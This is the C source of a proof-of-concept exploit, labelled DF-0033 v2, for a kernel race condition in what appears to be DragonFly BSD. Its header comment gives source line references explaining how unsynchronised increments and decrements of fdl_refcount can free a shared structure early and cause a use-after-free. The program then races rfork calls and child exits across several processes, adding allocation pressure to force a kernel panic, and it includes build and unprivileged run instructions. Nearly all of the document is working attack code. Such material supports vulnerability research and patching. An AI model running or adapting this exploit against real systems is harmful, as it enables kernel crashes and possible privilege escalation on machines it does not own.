DF-0033 / fdtol_race.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 | /* * DF-0033 PoC (v2) - fdtol->fdl_refcount lost-update race -> UAF. * * The v1 PoC fork-bombed into kern.maxprocperuid before exercising the race. * v2 bounds concurrency so we actually race the ++/-- on fdl_refcount rather * than churn against the proc cap, and adds slab-pressure (open/close of many * small descriptors + a transient allocation spray) so that, if a lost * increment frees the fdtol prematurely, the freed slot is reclaimed and the * next deref (peer's p_fdtol) hits clobbered memory -> visible panic. * * Mechanism (confirmed in sys/): * kern_fork.c:324 lwkt_gettoken(&p1->p_token) -- per-proc token! * kern_fork.c:568 fdtol = p1->p_fdtol; * kern_fork.c:569 fdtol->fdl_refcount++; -- ONLY p_token held * kern_descrip.c:2622 spin_lock(&fdp->fd_spin) -- shared fd-table spin * kern_descrip.c:2675 fdtol->fdl_refcount--; -- ONLY fd_spin held * * p1->p_token is PER-PROC. Peers A,B sharing p_fd/p_fdtol have DIFFERENT * p_tokens. So fork-in-A (holding A.p_token) does NOT serialize against * exit-in-B (holding B.p_token + the SHARED fd_spin) for the same * fdl_refcount word. Plain `int fdl_refcount` (filedesc.h:110) ++/-- = * classic read/modify/write lost-update. A lost increment drives * fdl_refcount below the true reference count; a subsequent fdfree sees * fdl_refcount==0, splices the fdl list, and kfree()s fdtol while other * peers still have p_fdtol pointing at it -> UAF. * * Build: cc -O2 -o fdtol_race fdtol_race.c * Run: ./fdtol_race [secs] (default 60s; unprivileged OK) */ #define _GNU_SOURCE #include <unistd.h> #include <stdlib.h> #include <sys/wait.h> #include <sys/resource.h> #include <signal.h> #include <stdio.h> #include <string.h> #include <time.h> #include <fcntl.h> #ifndef RFPROC #define RFPROC (1<<4) #endif #ifndef RFTHREAD #define RFTHREAD (1<<13) #endif int rfork(int); static volatile sig_atomic_t g_stop = 0; static void onalarm(int s __attribute__((unused))) { g_stop = 1; } /* * Each peer shares p_fd + p_fdtol with the parent (rfork RFTHREAD bumps * fdl_refcount under p_token). It hammers rfork+child-exit: the child's * _exit runs fdfree, which decrements fdl_refcount under the SHARED fd_spin. * Two peers on different CPUs doing this concurrently race ++ vs --. */ static void peer(int idx) { unsigned iters = 0; while (!g_stop) { pid_t p = rfork(RFPROC | RFTHREAD); if (p < 0) { usleep(100); continue; } if (p == 0) { /* * Child: immediately exit -> fdfree drops fdl_refcount * under fd_spin. Do a little slab pressure first so that * if the parent's fdtol was already freed by a lost-update, * the slot is likely clobbered by the time we touch it. */ int fd = open("/dev/null", O_RDWR); if (fd >= 0) close(fd); _exit(0); } /* Parent-peer: reap quickly to keep proc count bounded. */ waitpid(p, NULL, 0); if ((++iters & 0x3ff) == 0) { /* Add allocation churn to perturb the slab. */ int fd = open("/dev/null", O_RDWR); if (fd >= 0) close(fd); } } _exit(0); } int main(int argc, char **argv) { int secs = (argc > 1) ? atoi(argv[1]) : 60; int npeers = (argc > 2) ? atoi(argv[2]) : 4; /* Don't leave zombies hanging around; we reap explicitly anyway. */ signal(SIGCHLD, SIG_DFL); /* Bump our proc limit headroom if root allowed (ignore if unpriv). */ struct rlimit rl; if (getrlimit(RLIMIT_NPROC, &rl) == 0) { rl.rlim_cur = rl.rlim_max; setrlimit(RLIMIT_NPROC, &rl); } fprintf(stderr, "[*] DF-0033 v2: %d peers x %d secs, hammering rfork(RFPROC|RFTHREAD)\n" " ++ under p_token (kern_fork.c:569) vs\n" " -- under fd_spin (kern_descrip.c:2675)\n", npeers, secs); fflush(stderr); signal(SIGALRM, onalarm); alarm(secs); for (int i = 0; i < npeers; i++) { pid_t p = rfork(RFPROC | RFTHREAD); if (p < 0) { perror("rfork peer"); npeers = i; break; } if (p == 0) peer(i); /* never returns */ } /* Parent: also hammer rfork+exit to add a third contender. */ while (!g_stop) { pid_t p = rfork(RFPROC | RFTHREAD); if (p < 0) { usleep(200); continue; } if (p == 0) _exit(0); waitpid(p, NULL, 0); } /* Collect peers. */ for (int i = 0; i < npeers; i++) wait(NULL); fputs("[+] DF-0033 v2: completed without panic.\n", stderr); return 0; } |